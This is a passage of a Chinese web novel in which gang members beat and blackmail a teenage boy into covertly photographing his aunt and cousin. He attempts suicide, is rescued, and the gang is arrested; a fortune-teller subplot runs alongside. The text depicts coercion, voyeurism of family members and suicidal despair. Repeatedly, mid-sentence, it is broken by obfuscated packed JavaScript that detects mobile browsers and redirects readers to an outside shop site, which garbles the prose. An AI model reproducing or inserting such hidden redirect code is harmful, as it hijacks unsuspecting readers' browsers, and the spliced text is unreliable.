老板娘可能是坏人,枫哥说不准我告诉她我们在干什么,但我觉得老板娘肯定知道是干坏事,这个偷拍被抓了有坐牢的啊,为什么他们一点也不怕? 枫哥带我去地铁上偷拍,我说我真的不会,枫哥说那怎么办,你钱都收了,别人就是喜欢你拍的那几张。他还说我有才华。 我真的就是第一次坐地铁,我拍地铁没什么人,只有两个人,就两个背影,我从来没拍过。 枫哥让我回家拍表姐的衣服鞋子,我又被打了。 6.23日志:我想回家,回老家也可以打工 妈妈不同意,把我骂了一顿,我问我同学,有个同学说可以去他那里,但是我和我妈打电话,他又说不行了,那边不要人了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081218|147378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 妈觉得我是骗她,我真的没骗她,我不是我爸爸,我不想干坏事。 6.24日志:我和二姨说我不去上班了,我自己找,她说不着急,能锻炼自己就行,二姨真的很好。 老板娘打电话问我怎么不来上班了,我说我笨忙不过来,老板娘说那就好,还以为是她儿子把我吓跑了,其实她儿子人不坏,都是跟着朋友学坏了。 我觉得她儿子就是坏。 6.25日志:我去奶茶店找工作,老板说我反应太慢了。 6.26日志:枫哥给我发QQ,我没敢看,他说要打我,我把钱退给他,他不收。 6.27日志:枫哥好像来我们楼下了。他非常生气,为什么我这么倒霉,我想回l市。 6.28日志:被打了,他们撒尿在我身上 二十九号没写日志,空白直到七月五号,连着写得三篇。 7.5日志:为什么就不放过我 7.5日志:我可能脑震荡了,他们说不拍就把我的视频发出去。 7.5日志:睡了一下午,现在晚上十点,二姨问我是不是感冒了,给我量体温,泡了感冒冲剂。我脑袋特别晕,我不敢开灯,我怎么办。 7.6日志:早上醒来发现床边吐了 表姐敲门问我吃什么,感觉我像个塑料袋,不想发出一点点声音,我说我还要睡觉,表姐走了。躺到下午,枫哥又找我,我说我脑震荡,枫哥说脑震荡就能说话不算话?脑震荡也要拍。他叫我起来视频,我走出房间,表姐不知道什么时候出门了。 如果表姐在家,肯定要问我在干什么。枫哥指挥我把手机对着沙发,他说要看看我住的地方是什么样子。他让我去阳台看看有没有衣服,我撒谎说她们衣服都晒在她们房间的小阳台上,门锁了进不去。 他让我拍鞋子,我吐了,拖地拖了好久,眼睛也哭肿了,表姐一直没回家。 7.6日志:我又躺在床上,幻想一辆车把我撞飞了 二姨下班来敲门,她给我点了皮蛋瘦肉粥,买了别的药。我边吃边哭。二姨以为我妈骂我,安慰我不去打工也没什么,说让表姐带我去市里玩一玩,有些地方门票很低的,她要给我钱我没要,我觉得我好龌龊。我想变成蟑螂爬走。 7.9日志:拍了一些奇奇怪怪的东西 拍了一些奇奇怪怪的东西,比如客厅的镜子,那个镜子很大,木头做的支撑,还有摆着花的花瓶,喝了一半的水,还有可爱的蒸蛋器,电视机旁的盲盒,那个很贵据说六十多,还有一百的。 还拍了冰箱贴,木头杯垫,放在沙发上的抱枕。不知道这些有什么用。 7.11日志:枫哥给我钱了 今天拍了镜子边一根头发,枫哥说很多人喜欢这张,根本不懂,我去外边拍树,拍小猫,这些都不行,枫哥把我骂了一顿,我拍别人的腿,他也不要,他让我继续拍家里的照片。 我真的不想,今天枫哥还说让我拍二姨喝水的杯子,要有唇印,二姨不涂口红,我想他们是不是知道二姨是哪个,枫哥说这不犯法,我觉得肯定不是。 我打不过他们,他说拍就是了,不然来家里找我。 我该怎么办,我该怎么办,我怎么办? 35. 偷拍 7.13日志:我找到工作了 烧烤店,下午4点到凌晨2点,很忙,我感觉心里好受一点,枫哥老打我电话,我都接了,我说我在吃烧烤,他要来找我。 幸好k哥说不来,小林哥喝醉了骂我,老板让我别戴着耳机,我明天又要拍二十张,我要是能一直在今天就好了。 7.14日志:拍了表姐吃到一半的面碗,和洗干净以后的面碗 枫哥的客户可能是变态,他说面碗照片很多人买了,那个碗是草莓花纹的。枫哥让我多拍点用过的可爱的东西,他让我拍人,我不敢。 枫哥又给我转钱,直接到了银行卡,我拍表姐画的画,她的拖鞋,我又想吐,我幻想枫哥来家里找我,我拿二姨的高跟鞋插他的眼睛,我坐牢了,他瞎了。 我害怕被她们知道怎么办。 7.17日志:我去超市拍了一个可爱的小勺子,枫哥说背景不对,要打我 7.18日志:客户不买了,枫哥逼我拍表姐的脚 7.21日志:我拍了张二姨涂脚上的指甲油,红色的,枫哥很高兴,问我怎么才一张,我把其他两张删了,我不知道我在搞什么,我有七百块钱,我和二姨说我想回家,但枫哥说他知道我二姨住哪,我跑了他就拿着我拍的照片上门 我拍了表姐穿牛仔裤,二姨煮汤圆还穿围裙,表姐洗了头在沙发上吹头发,枫哥让我拍点露脸的。 7.22日志:凌晨三点下班,老板让我别干了 睡不着,但是明天肯定六点又醒了,我想吐,班级群同学说要约出去玩,我在想以后怎么办。 难道一直拍下去吗?或者我可以报警,偷偷把他们拘留吗? 枫哥让我把表姐喝过的矿泉水瓶卖给他,头发也要。 7.24日志:枫哥说要来我家玩 我把矿泉水瓶给他了,枫哥其实很聪明,他老是问我一个不行的要求,然后问我一个更不行的要求,他们都是坏人,可我一点办法也没有。 我把我吃的外卖一次性筷子给他了,今天又是见面的日子,我不知道我会不会被打 7.25日志:早上拍了二姨在家转呼啦圈,我还没找新工作 我是不是霉星,好好的辞退我了,我不想呆在家里,我好像要被压死了。枫哥截图给我看,说群里特别喜欢我拍的,其实这就是艺术品,又没让我拍不穿衣服的照片。 我知道他说的都是假的,我好想有人来打我一巴掌。可是我又蠢又胆小,打了我第二天还是会被枫哥抓住。 二姨说八月生日带我去迪士尼玩,我不配。 日志到这里,王钦恨铁不成钢,早一开始就该把事情告诉她们啊! 脑子是有毛病吗?被打了不敢说,被胁迫也不敢说,怂又怂成那个样子! 林眉皱眉,最开始那暑假工是她给外甥找的,老板娘是她大学同学啊!她儿子做这种事,她真的一点也不知道吗? 赛磊这孩子和他妈关系紧张,性格闷着,胆子也小,林眉怪自己怎么没早点发现不对劲。 看赛磊的记录,他们好像还经常见面,赛磊经常被打。 林眉问女儿:“你是发现你表弟拍你了?” 王钦顿了顿,表情有点古怪:“没有……我室友就是宁柠,晚上想问下她电脑链接,她有个朋友看到我说的。” 王钦发现自己说得有点乱,又补充:“她朋友好像能算命,看我一眼就告诉我的。” 还说她心地善良所以帮她化解人祸,事情结束再收费。 等等,如果今天她不知道这事,拖到后面会怎样?虽然赛磊自己很抗拒,但他胆子太小了,现在已经把她喝过的矿泉水瓶给人家,以后呢? 王钦想到她表弟有点烦,实在看不上,又知道不能都怪他。 “你确定是算命?”林眉对这些不太相信,但也没多想。她开车带着女儿去报警,心里担心赛磊,他手机没带,一个人跑出去,能跑去哪里? 林眉和她小妹打了电话,先劝她不要发脾气,不要什么都怪孩子,再把自己知道的说出来。 到了派出所排队一小时,报案的真是什么情况都有。 王钦一边等,一边给宁柠发消息:你发小真的很灵,我怎么给钱? 王钦:或者这个钱叫什么,香钱?红封? 宁柠没回复,王钦收了手机,林眉说:“你小姨气死了,一直在骂你表弟。现在骂也没用,事情都发生了。” 王钦:“赛磊很怕小姨,小姨说早上六点起就一定六点起。” 林眉:“……真的吗?” 王钦:“真的啊,他去烧烤店打工那几天,每天晚上三点回来,第二天早上还是六点起。这根本都没睡吧。” 王钦:“有时候他坐在外边沙发上,闭着眼睛等小姨的电话。其实小姨也不怎么给他打电话,但是他都坐在那里,有时候就睡一下。” 林眉觉得她今天皱眉的次数比得上过去一周:“我都没注意。” 王钦:“我去排队签售会那天发现的,问他怎么不去房间睡,他好像觉得躺在床上睡就不行。坐着睡不是睡觉。” 反正莫名其妙的地方固执得很,好像不遵守会被打一样。 林眉又叹口气:“你小姨以前不这样,她是日子过得苦,心里也苦。” 王钦不吱声,她对小姨没什么太大看法,就她妈对小姨有滤镜,老觉得她过得苦,和儿子关系又别扭,想帮他俩缓解。 但王钦看表弟那个性格吧,小姨多少要负点责。 她是局外人心态,林眉更上心,报了案,回来一直跟她小妹打电话。不知过了多久,警察突然打过来,说查监控疑似赛磊跳河了。 王钦顿时愣住,整个人跳起来,她茫然的看着她妈,林眉也呆呆地:“被冲走了?好……好我这就,我这就过来。” 林眉定了定神,对女儿说:“不一定是出事了,我过去看看,你待在家里,你小姨过来的话你给她开门。” 王钦立刻扯下充电器,拿上手机:“我和你一起去,小姨来了告诉她密码就行。” 林眉回身拿包,没有拒绝,声音颤抖说:“我都不知道怎么跟你小姨说。” 王钦心乱如麻:“那就晚点再说。”说不定马上就找到了。 两人到了地下车库,林眉拉门拉了两下,在车上不知道下一步该做什么:“这孩子怎么想不开,怎么这么呆呢,也不算大事,家里人肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093080|147378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定不会怪他啊。” 王钦没出声,她回忆自己下午对赛磊说话有没有很大声,表情有没有很严厉……可能她对他不耐烦,但她当时也忍住了没发火。 王钦有点懊恼,她其实知道赛磊心志不成熟,又怂,她没想到他居然跳河了。 王钦自责起来,心想千万千万不要有事…… 王钦突然摸出手机,给宁柠打了个视频电话。旁边林眉心里跳个不停,她说:“不行我开不了车了,我叫个车,天啊。” 她下了车,王钦紧张的跟了下来,视频接通,宁柠戴着个兔子耳朵的发箍出现在她眼前。王钦立刻看向她旁边,语速飞快道:“我找你发小。” “哦哦。”宁柠笑容微敛,画面转向前边的炸串摊,“小神婆!” 她喊了两声,前边踮起脚点单的曲欣转过头,她带着个猫耳朵发箍。 王钦完全被她妈拉着跑,喊停就停,喊走就走。这时她终于有点实感,才发现她站在路边,她妈正把她往车里推。 两人挤进车后座,她听到她妈竭力压抑的声音:“麻烦开快点。” 视频里宁柠的朋友——小神婆——王钦听到了那个称呼。她走近,茫然的脸和王钦对上,表情变得沉静,笑容也跟上来,让人不自觉放松。 “小神婆。”王钦反应很快的说,“能看到吗?我表弟他现在还好吗?” 她声音格外干涩,林眉看过来,心想女儿肯定也吓到了。林眉揽住女儿,安慰她说:“别怕,没事的。” 王钦眼睛盯着手机里的小神婆,回答说:“我不怕。” 她观察着小神婆的表情,心里平静一点,果然对方说:“人应该没事,被水冲走了,有人给他扔了个轮胎。” 王钦长长的呼吸,猛地靠在车背上,她甚至感觉她死里逃生过一次。 “妈。”王钦脸上带着庆幸的笑容,对她妈说,“赛磊没事,有个轮胎,他没事。” 好吧,王钦心想,大家都平安无事,她原谅他了。 她感觉她好虚弱,真是吓死了,她又有了点力气,问小神婆:“请问我们怎么找到他,这个能算到吗?” 小神婆说:“你脸转过来一点,旁边是你妈妈?也给她看一下。” 王钦照做,又把手机摆到林眉面前:“妈,你看着小神婆。” 前边司机忍不住竖起耳朵,透过后视镜望过来。 林眉意识到什么,对方怎么知道人是被水冲走了,这就是女儿之前说的那个会算命的室友朋友? 她和女儿对视一眼,视频里‘小神婆’认真端详她,片刻后说:“冲到下游去了,可能要找两天。” 王钦连忙问:“能有大概的范围吗?我们直接去找行吗?” 小神婆对她笑了一下:“不用担心,我感觉这是好事,嗯……其实明天就安全了,不过他自己没想开。” 王钦愣了一下,不知为什么,想到她正在赶过来的小姨。 这意思是让表弟冷静一下,让小姨着急一下? 王钦点点头,露出笑容,认真道:“谢谢。那个,我怎么给你……那个卦钱,我给宁柠发消息她好像没回。” 小神婆笑:“你加我微信吧。” 36. 偷拍 前边司机偷偷看她们,突然说了一句:“你们小心被骗啊。” 王钦靠在座椅上,感觉很累很累,但还是坐起来,对好心的司机笑了笑:“没被骗,谢谢,人家是很神奇。” 她个人气质偏冷,看着是个能拿主意的小姑娘,旁边她亲妈不说话,司机便笑了笑,不搭腔了。 林眉和女儿对话:“这位神婆……挺年轻。” 她还在消化信息,不是说不信任,只是还没反应过来。 王钦说:“但是很厉害啊,我真是都不会呼吸了,看到她一下就冷静,放松了,她表情告诉我没事。” 林眉:“你表弟这事就是她看一眼告诉你的?” “对。” 林眉想了想:“这位小神婆还能看什么,把她微信也推给我。” 王钦:“我翻她朋友圈,人家说她前程福祸财运姻缘都能看,你要看怎么发财吗?” 前边司机:“……”这是信了邪教吧,演的跟真的一样。 他埋头开车,到了地方,一句话不说开走了。 心里相信赛磊没事,王钦母女跟着警察去了他跳河的地方。 有个捡垃圾的老人说看到他在前边走了一阵,低着头慢慢的走。老人当时没在意,沿路捡了几个空瓶子,到了靠近桥的这边,又看到他。 “瞅着丢了魂似的,像个学生,我喊他,他不应。我看到他回头看了我一眼,我以为他不想搭理我嘛,我就没吱声了。” 老人瞅着林眉:“早晓得我就去把他拉回来了,就是没想到!” 老人抖了抖长眉毛:“后来我打转,都到桥上了,突然看到他下了河,那会天都黑了嘛,我还认了一会,以为是水鸟。” “他往河里越走越远,我急了,赶紧喊,平时桥下有人钓鱼的,今个没有。细伢子头也不回,也不晓得受了什么委屈。” “到了河里有个涡,他一下就卷过去,他也不动,要我说肯定是受委屈了,心里过不去坎。”老人真心实意的惋惜,“这细伢子太小了。” 王钦在一边录音,想着等小姨来了给她听听。 警察叔叔调来监控,确定赛磊是自己下的河。他从家里跑出来漫无目的的走,一路走到河这边,可能终于下定决心,做了傻事。 “走了两个多小时,一直在哭。”警察说,“目前没别的消息,你们做好心理准备,下游最近一直在下雨……” 下了雨水位涨了,流速也急,如果下边没消息,可能人已经没了。 晚上十一点,王钦小姨赶过来,她比林眉显年纪,眉心有很深的川字纹,平时气质严厉、独断,但此刻多少有点魂不守舍。 小姨已经听王钦她妈把事情从头到尾的说了一遍。 林眉说:“……人没事的,我跟你保证,赛磊肯定平平安安。也是我处理不合适,把他吓到了,你也别愣着,我们现在……” “这哪能怪你!”小姨打断她,“是他自己又笨……又不争气。” 小姨头转向一边,想骂儿子,发现他不在,脸上空白一瞬,随之而来的是悲伤与颓唐,她塌下肩膀,呆愣在那。 她喃喃说:“如果……我也活不下去了。” 王钦心里很不好受,还是快点找到表弟吧,她想。 这个夜晚过得不安宁,王钦迷迷糊糊做了梦,梦到表弟真的出事,尸体被打捞回来,小姨什么也没说,背着他一步一步走回家。 梦是不讲逻辑的,梦里王钦和妈妈都很悲伤,一路护送小姨回家。送葬时小姨扑到棺材上,让他们把她和儿子一起埋了。 到这里王钦惊醒,心里有点无语,她躺了一会,突然把门打开一条缝。 外边隐隐传来小姨的哭声,林眉正安慰她。 王钦吁了一口气,打开小神婆的微信看了看,又放下。 第二天传来消息,当时下游有人夜跑注意过河里好像有人,她不会游泳,又有点近视,追着跑了一阵,不确定是不是人。 她丢了个路边的破旧轮胎到河里,水流很急,不知道对方抓没抓住轮胎。 后来她去报案,等警察调监控,也看不出是人还是动物——光线太暗了,人的话至少会挣扎吧。 但河水卷走的那个,好像木头一样一动不动,奇怪,也没有沉下去。 林眉请假,开车带着小妹和女儿去好心人丢轮胎的地方,谢过对方,又驱车沿河寻找。这笨办法找了一天,晚上,林眉接到她大学同学的电话。 对方是‘枫哥’的妈妈,也是林眉给外甥介绍的暑假工的老板娘。 电话接通,林眉一阵沉默,对方却激动起来,想请她给她妹妹说情,看能不能写个谅解书—— 林眉轻声打断她:“我外甥被逼得跳河了,现在人还没找到,你跟我说这个?” 林眉语气认真:“你打电话来,是不是先该道个歉?” 对方一阵沉默,啪的挂了电话。 林眉只觉疲惫,原先想对方人不错,爱笑会说话,聊天总很愉快,现在再一看,这人简直陌生至极。 自己儿子做出这种事,平日那个强盗作风,她难道一点没察觉吗? 据警察说,她儿子那个三人小团伙跑去附近高中恐吓、控制像赛磊这样的男孩子共六个,拍的照片一千多张,短视频六百多部,还想‘做大做强’。 他们可能有点小聪明,拍的照片视频都是擦边软色情类,通过拉拢熟客,满足客户‘定制’需求,细分会员已有一百八十多人。 “光是传播视频就已经要坐牢,他们还涉嫌暴力控制,组织胁迫未成年人,反正事情小不了……” 林眉转头看着小妹:“没事,赛磊未成年,又是被逼的,等人找到了你好好和他说,不会有事的。” 对方没说话,跑了一天了,警察那边也没消息,她一停下就忍不住想他是不是已经出事了。想骂他,又惶恐的发现如果他人不在了,说这些还有什么意思? 他就是又笨又胆小,不是她期待的能扛事的聪明儿子。可到这一步,她心想,别人家的孩子再聪明再能干,和她有什么关系呢? 她只想要自己的笨儿子,被她骂不成器也依赖着她的儿子啊。 其实这会赛磊已经飘到岸边,他也不知道这是哪里。 反正看着挺荒芜,水流也变缓,前边还下了阵小雨,现在雨没了,太阳出来,天气不冷不热。 赛磊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100073|147378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能体重过轻,飘在水里完全不费事,他还有个轮胎扒着,就是不好靠岸。 赛磊也不想靠岸,他觉得这么飘到死也算了。 不过,到下午,一个钓鱼的中年人发现他,用钓竿捅了捅他,连忙喊他抓住钓竿。赛磊其实不想回答,但对方以为他晕了,一直用钓竿打他。 “哎!快醒醒,快醒醒啊!”钓鱼佬差点以为自己钓到一个死人。 赛磊脸被打得很痛,只好小声的回了一句,让钓竿把他带到岸边。钓鱼的大叔喊了两个钓友来,一起把赛磊拖上岸。 大叔问他:“你哪里的啊,还能走不?” 赛磊说能走,大叔还想继续钓鱼,就说:“要不拿我手机给你家里打个电话,叫他们来接你。” 他还以为这小孩是附近不小心落水的。 赛磊摇摇头,目光躲闪说:“我坐一会,自己回去就行。” 他浑身湿透了,好在现在夏季嘛,穿的短袖短裤,晒一会也半干。就是脸色难看,眼睛也半肿不肿的,整个人软塌塌,没精气神。 钓鱼的大叔看他一会,在旁边重新下杆,问他:“你这是和家里吵架离家出走了?” 赛磊连连摇头,想找个地方躲起来,钓鱼大叔不让:“来来,你别走啊,和我说说。我安慰安慰你,我跟你讲啊,你这样年纪,可能觉得家里不理解就是天大的事,其实……” 他巴拉巴拉讲他读书时候,成绩差嘛,他爸不让读了,他非要复读,那真是赌咒发誓下跪哭求,怎么能闹怎么闹。 后来恰好多一分考上,读完大学踩狗屎运进了个好单位,领导看他长得浓眉大眼,撮合了他老朋友的女儿,从此家庭圆满,儿女双全。 “你别看我在这钓鱼,其实我平常挺顾家,今天难得松快,正好遇到你——你来,你说说,你有啥困难啊,我给你支招!” 赛磊:“……” 赛磊实在招架不住这热情,他爸妈离婚早,生命里没有这样拍着他肩膀关心他的男性长辈,有点受宠若惊,又感觉心里惭愧。 赛磊低着头,说:“因为我做错了事……” 大叔猛地把他肩膀又一拍:“抬头!挺胸!别这么垂头丧气的。” “做错事又怎么啦,人年轻谁不做点错事,我看你这小鸡样子,你就是干坏事也坏不到哪去,你给我说说,我分析分析。” 赛磊难以启齿,钓鱼大叔也不催,坐在旁边说些自己干过的坏事,把鞭炮插人家白菜里炸飞天啦,偷了家里一百块塞回去八十被揍啦,边说边瞅着赛磊。 看他低着头,又说自己有朋友被人带着赌博,把老父亲气得中风,后来痛改前非,努力赚钱,现在也复婚了,前不久还生了二胎呢。 有错,那就改,能改,你家人肯定舍不得放弃你。 任何时候,你只要想想你的家人,还有什么过不去的坎,解不开的结? “实在不行,你也学我,脸皮嘛不要了,你就道歉,你抱着你爸妈大腿哇哇哭,使劲给自己几巴掌,你爸妈还能舍得?” “伢子,你不要低看你自己,你爸妈肯定也在担心你啊。” “……”赛磊对着平静无波的湖面,呜呜哭起来。 37. 偷拍 赛磊哭了一阵,钓鱼大叔钓上来两条鱼,想分享,忍住了。 一会又钓上来一条,赛磊还在哭,大叔心想这孩子眼泪真多。 过了半小时,赛磊还在抽泣,大叔看不下去,拍拍他肩膀。赛磊抬起一张眼睛红肿的脸,哭得脑袋都缺氧,大叔拿纸巾给他擦了擦。 “我想道歉,我不知道行不行。”赛磊哽咽着说。 他头发短短的,个子不高,脸嫩,又瘦,说实话看着像初中生。大叔搂着他肩膀,问他:“那你是不小心把家里房子烧了还是咋了。” 赛磊摇头,大叔说:“偷家里钱了?偷人家东西了?” 赛磊还是摇头,大叔也没辙,给他看自己钓的三条鱼:“你看,都挺小的,我这好不容易来一趟,钓的都是小鱼,拿出去炫耀都不好意思。” “不过老天让我碰着你,他可能也觉得这不是啥大事。你听我的,现在哭一哭,弄惨一点,回头看到爸妈就道歉,诚心实意知错了,会好的!” 赛磊渐渐平息情绪,坐在一边看大叔钓鱼。 接下来大半小时一条鱼没有,大叔有点压力,跟赛磊说自己儿子调皮的事,轻描淡写:“他是我儿子嘛,对什么都好奇,我们做父母的不包容他,谁来包容?” 赛磊静静听着,晚上六点,大叔接完一个电话,问他:“你还不回去?” 赛磊下意识站起来:“我,我马上回去。” 大叔看他样子,也不晓得他想好没有,就说回来回来,我给你泡个面。他带了桶装的方便面,有个便携式烧水壶,真给赛磊泡了一碗面。 “我得回去啦,你吃完也回吧,出来这么久,你爸妈肯定担心。” 赛磊想拒绝,大叔根本不理他,自顾自道:“行了泡都泡好了,我听你肚子叫了,快吃,吃完我送你回去。” 赛磊很感动,又焦虑不安,结结巴巴说:“我,我还想待会,等我妈来……” 钓鱼大叔以为他在等他妈找过来,可能爸爸比较严厉,妈妈向着他。 朋友那边在催,大叔就说:“那你记得了,回去好好道歉。” 大叔让岸边其他几个钓鱼佬看着他点,拎着三条鱼走了。 赛磊一边吃一边哭,坐在河边,心想再待一会就问路回去。又想二姨应该已经告诉妈妈了吧,她会怎么想? 赛磊想到他妈失望的眼神,心直往下沉,感觉好冷。 还有二姨和表姐,她们都是好人,可他却做了那种坏事。 赛磊又有种想要呕吐的感觉,不是要把胃里的东西吐出来,而是要把心里的东西吐出来。 天黑了,钓鱼人走了几个,也有人准备夜战。赛磊衣服早干了,躺在岸边发呆,他想着明天回去吧,至少要给二姨和表姐道歉。 他一定,一定……努力承担责任。 第二天,赛磊用河水洗脸,昨天那个大叔又来了。这次他没带钓竿,带了一兜包子,给了赛磊几个,说:“别人讲你在这躺了一晚上。” 赛磊低下头,羞愧道:“我现在就回去。” 钓鱼大叔把包子分给昨天夜钓的两个人:“多大点事,我开车送你。” 他拍了拍赛磊肩膀,管他情不情愿,直接把人拉到车上问地址,赛磊憋红了脸,最后说:“我家不在这附近。” “那在哪,我反正送你回去。” 赛磊低着头:“谢谢,我,我借您手机给我妈打个电话。”妈妈应该知道了吧,她会责怪他吗? 电话接通,对面是表姐的声音:“你好,请问哪位?” 赛磊不自觉焦虑,沉默过后,表姐问:“赛磊?” 赛磊连忙点头,意识到对方看不见,又从喉咙里挤出声音:“对,对不起,表姐。” “……”表姐很冷静的说,“没关系,你在哪里?” 赛磊不知道这是哪,他问了钓鱼大叔,鼓起勇气说:“我我,我在平安河,能来接我吗?对不起,表姐,我……” “我们现在过来。”表姐说,那边传来说话的声音,“你平安就好。” 手机那边又换成了二姨说话:“赛磊,你别有心理负担,我们知道你是被逼的,这个不怪你,你要好好爱惜自己啊,别多想,知道吗?” 赛磊噙着眼泪道歉,心里好受很多,有种劫后余生的庆幸和内疚。 不过,他打的是他妈的电话,接的却是表姐和二姨。 赛磊犹豫一会,二姨主动说:“磊磊,你妈很担心你,昨晚上……有点不舒服,现在在吊水。她不是不关心你,只是她那个嘴不讲好话。” “我也和她说了,肯定不骂你,你妈其实心里疼你,以后有什么事,一定和家里人说,一家人,我们都会帮你!” 二姨说了一大通,赛磊连连点头,林眉问:“你借的谁的手机?” 她让赛磊把手机给钓鱼大叔,和他说了几句。大叔挂了电话,笑道:“你看,你家里人都只担心你,我陪你到路口等吧。” 赛磊隐隐听到二姨请他帮忙,下意识想拒绝,没说出口。 二姨说:“一家人有什么麻不麻烦的,你还小,我们不帮谁来帮?等你长大了,可靠了,我要有什么事找你,这也叫麻烦吗?” 二姨还说:“你就是太老实,别人要打你,你第一时间就该找家里。我和你妈是最亲最亲的姊妹,你来我这受了委屈,我难道不帮你?” “你啊,欺负你的那几个已经被抓起来了,要坐牢……你不会有事的,以后挺起胸膛做人,遇到事不要怕……” 赛磊心中有股热流,对二姨感激万分。 他只想快点回去,看看他妈情况,他以后一定不让她担心! 十点多,林眉开车过来,赛磊紧张的走过去,门一开,他妈冲下来,搂着他就掉眼泪。赛磊顿时懵住,他妈用拳头锤他后背,哭得他衣服都湿了。 “你怎么这么傻,你还跳到河里,你有个万一我怎么办,你怎么这么傻啊!”他妈满脸疲惫,泪如雨下。 “妈……”赛磊眼泪也掉下来。 林眉本想瞒着小妹,让她把水吊完,自己去接回赛磊,让王钦照顾她小姨。不料小妹看到她表情,顿时猜出来了。 小妹一定要过来,固执到家,林眉也没法劝。 一家人谢过钓鱼的大叔,送了两盒烟还有酒,要请吃饭,对方乐呵呵拒绝了。本来他今天要上班,听别的钓鱼佬说赛磊没走,不放心才过来的。 现在人没事,他赶紧上班去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114831|147378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林眉听了他工作,就问地址,说回去做一面锦旗送过来。 这下大叔高兴了,哈哈他就说嘛,这不叫管闲事,这叫乐于助人!到时锦旗送过来,他都想不出他能有多开心。 跟着过来的王钦也松口气,她平静的暑假生活总算走向正轨。 对赛磊这个表弟,她态度好了很多——之前不算差,但她其实没怎么上心,可有可无的看顾一下,不过赛磊似乎觉得她对他挺好的。 ……总之,姐弟俩现在关系好了很多。 后续林眉那个大学同学,也是赛磊第一份暑假工的老板娘,还来过家里一次。 这回她态度端正,带了礼物,说自己单亲家庭,没教好儿子,说知道赛磊爸妈也离婚,其实对赛磊和对自己儿子一样的感情。 王钦:“……” 她打起感情牌,翻来覆去,又掉了几滴眼泪,意思是想请赛磊妈妈写一份谅解书。她说她们都是独自抚养儿子长大,希望对方能理解她。 王钦一家人都很无语,林眉和小姨坚定的把她请走了。 饶是王钦也忍不住和宁柠吐槽,顺便对着曲欣问东问西,她真的很好奇‘小神婆’的天眼啊,太神奇了! 王钦问:“这样的人多吗?”能人异士啊。 曲欣笑眯眯:“不知道哦,我只知道我外婆,然后就是我。” 宁柠搭话:“我没见过别的有真材实料的。” 她们聊起这次事件,王钦很淡定:“我还好,我表弟还算抗住了……他回来第二天跟我说背上有点痛,带去医院一看,肋骨骨裂,我也是服了他。” “骨裂十多天,他就忍着,总算这次知道要跟我们说,长进了点。” 聊到最后,王钦好奇道:“我妈说想请你帮忙看事业,怎么样?” 曲欣:“还没来得及呢,可能最近忙。” 王钦:“那我催她一下。” 她平时高冷风,这会显得有些活泼,果真去找林眉,连带小姨表弟都让曲欣看了看。一家人近两年没什么大事,就是要多多沟通。 这指的大概是小姨和表弟。 事业上林眉没什么大的进展,财运还行,桃花运没有。王钦小姨倒是有朵小桃花,曲欣看了看,没到结婚的地步。 对方人还可以,可能各方面顾虑比较多,反正是没下文。 这个大家都没在意,因为曲欣视频看得准,林眉给大姐也打了个视频电话。好吧,她们大姐也离婚三年了。 大姐人在国外,日子过得还行,就是做生意特别忙。三姐妹双亲都去世了,现在联系一年比一年少。 大姐性格和小妹有点像,固执,强硬,她自己做生意算是林老板嘛,想让小妹跟自己去国外做事,小妹一直不同意。 反正两个人是说不通,有点闹别扭。 赛磊这事结束了她才知道,两个妹妹看着关系更好了,她不太舒服,但林眉详细说起小神婆这个事,她又有了兴趣。 最后她问了曲欣微信,说要单独联系。 挂了视频,小妹微微撇嘴,林眉笑着说:“估计要问生意上的事。” 小妹:“那也有可能是曼儿结婚的事。” 曼儿是大姐的大女儿。 38. 想结婚妈妈不同意 曲欣收到王钦微信:我大姨可能想问你点事。 曲欣切个西瓜的功夫,就接到王钦她大姨的视频。 这位大姨名叫林娥,人在国外做香料生意,和两个妹妹长得有点像,看着更强势点,上来就问她生意上的事,全程不怎么表达疑问,只听着。 曲欣说什么,她都点头,最后露出笑容:“谢谢小神婆。” 然后给一个大大红包,说下回有需要再和曲欣联系。 怎么说呢,有够雷厉风行的,感觉曲欣说的她都只作为一个参考,具体怎么做她更信自己。她嘴上客气称呼‘小神婆’,实际上没有多认真认同。 宁柠说:“这个阿姨好厉害的感觉。” 